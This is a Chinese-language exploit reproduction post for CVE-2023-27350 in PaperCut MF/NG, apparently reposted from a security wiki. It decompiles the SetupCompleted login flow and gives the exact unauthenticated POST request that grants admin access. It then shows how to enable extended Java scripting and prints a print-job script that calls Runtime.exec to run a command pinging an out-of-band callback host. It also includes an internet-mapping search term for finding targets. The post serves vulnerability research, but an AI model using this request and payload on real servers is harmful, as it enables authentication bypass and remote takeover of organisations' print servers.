PaperCut MF SetupCompleted 远程命令执行漏洞 CVE-2023-27350

admin 2023年5月2日18:50:18评论356 views字数 2767阅读9分13秒阅读模式
PaperCut MF SetupCompleted 远程命令执行漏洞 CVE-2023-27350
PaperCut MF SetupCompleted 远程命令执行漏洞 CVE-2023-27350

漏洞描述

PaperCut MF NG 中 SetupCompleted接口中存在未授权访问漏洞,攻击者通过漏洞可以获取后台管理员权限,通过配置脚本JAVA扩展类,可以达到远程命令执行控制服务器

漏洞影响

PaperCut MF PaperCut NG

网络测绘

"papercut"

漏洞复现

登陆页面

PaperCut MF SetupCompleted 远程命令执行漏洞 CVE-2023-27350

反编译 pcng-server-web-22.0.4.jar,可以看到登陆时验证方法位于

biz/papercut/pcng/web/pages/Home.class
PaperCut MF SetupCompleted 远程命令执行漏洞 CVE-2023-27350

其中含有 Google microsoft 等多种方法登陆,统一使用 performLogin 方法进行用户权限验证

PaperCut MF SetupCompleted 远程命令执行漏洞 CVE-2023-27350
public Boolean performLogin(String username, @Nullable LoginType preferredLoginType, boolean sso) {
        return (Boolean)this.transactionHelper.runInTransaction(() -> {
            LoginType loginType = this.deriveLoginType(username, preferredLoginType);
            if (loginType != null) {
                AccessRightList accessRights = this.authenticationManager.getUserRights(username);
                accessRights = this.deriveAccessRights(loginType, accessRights);
                return this.loginUser(username, accessRights, loginType, sso);
            } else {
                this.applicationLogManager.logWarn(this.getClass(), "Home.UserLoginFailureUnknownUser", new String[]{username});
                this.setErrorMessage(this.getMessage("LOGIN_DENIED_UNKNOWN_USER"));
                return false;
            }
        });
    }
PaperCut MF SetupCompleted 远程命令执行漏洞 CVE-2023-27350

最后走到 loginUser方法中,根据用户登陆权限重定向到用户页面

PaperCut MF SetupCompleted 远程命令执行漏洞 CVE-2023-27350

漏洞出现在用户设备配置页面处,其中可以看到调用的方法也是 performLogin

public void formSubmit(IRequestCycle cycle) {
        SetupData setupData = this.getSetupData();
        this.getAnalyticsConfigurationService().setEnabled(this.isAnalyticsEnabled());
        this.getAnalyticsConfigurationService().adminNotified();
        this.clearSetupData();
        Home homePage = (Home)cycle.getPage("Home");
        homePage.setJavaScriptEnabled(this.isJavaScriptEnabled());
        homePage.performLogin(setupData.getAdminUserName(), LoginType.Admin, false);
    }
biz/papercut/pcng/web/setup/SetupCompleted.class
PaperCut MF SetupCompleted 远程命令执行漏洞 CVE-2023-27350

主要注意这一部分代码的参数, 代表登陆的权限

PaperCut MF SetupCompleted 远程命令执行漏洞 CVE-2023-27350
homePage.performLogin(setupData.getAdminUserName(), LoginType.Admin, false);

private String _adminUserName = "admin";

public String getAdminUserName() {
        return this._adminUserName;
    }

这里固定的登陆权限为 Admin管理员权限,通过调用这个方法就可以获取管理员的后台权限

/app?service=page/SetupCompleted
PaperCut MF SetupCompleted 远程命令执行漏洞 CVE-2023-27350
POST /app
Cookie: JSESSIONID=xxx

service=direct/1/SetupCompleted/$Form&sp=S0&Form0=$Hidden,analyticsEnabled,$Submit&$Hidden=true&$Submit=登录
PaperCut MF SetupCompleted 远程命令执行漏洞 CVE-2023-27350

发送请求后就会302跳转到管理员用户页面,对应的请求调用页面也就是第一次配置的请求页面,点击登陆提交请求就可以通过调用方法 performLogin 以管理员权限登陆

PaperCut MF SetupCompleted 远程命令执行漏洞 CVE-2023-27350
PaperCut MF SetupCompleted 远程命令执行漏洞 CVE-2023-27350

在后台中存在脚本调用方法,根据官网配置打开扩展的 Java 类

https://www.papercut.com/kb/Main/EnablingPrintScriptingDeviceScripting#using-extended-java-classes-in-scripts
PaperCut MF SetupCompleted 远程命令执行漏洞 CVE-2023-27350
PaperCut MF SetupCompleted 远程命令执行漏洞 CVE-2023-27350

再通过打印机的脚本编写就可以达到组合RCE

function printJobHook(inputs, actions) {}
java.lang.Runtime.getRuntime().exec('cmd.exe /C ping %USERNAME%.cgvpkz72vtc0000ge0eggep5j9oyyyyyb.oast.fun');

PaperCut MF SetupCompleted 远程命令执行漏洞 CVE-2023-27350
PaperCut MF SetupCompleted 远程命令执行漏洞 CVE-2023-27350

关注公众号

下面就是文库的公众号啦,更新的文章都会在第一时间推送在交流群和公众号
想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦~



支持作者

PaperCut MF SetupCompleted 远程命令执行漏洞 CVE-2023-27350

关于文库

在线文库: https://wiki.peiqi.tech (暂时关闭个人用户使用)
Github: https://github.com/PeiQi0/PeiQi-WIKI-Book 
PaperCut MF SetupCompleted 远程命令执行漏洞 CVE-2023-27350

文库动态

PaperCut MF SetupCompleted 远程命令执行漏洞 CVE-2023-27350


原文始发于微信公众号(PeiQi文库):PaperCut MF SetupCompleted 远程命令执行漏洞 CVE-2023-27350

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月2日18:50:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PaperCut MF SetupCompleted 远程命令执行漏洞 CVE-2023-27350https://cn-sec.com/archives/1703545.html

发表评论

匿名网友 填写信息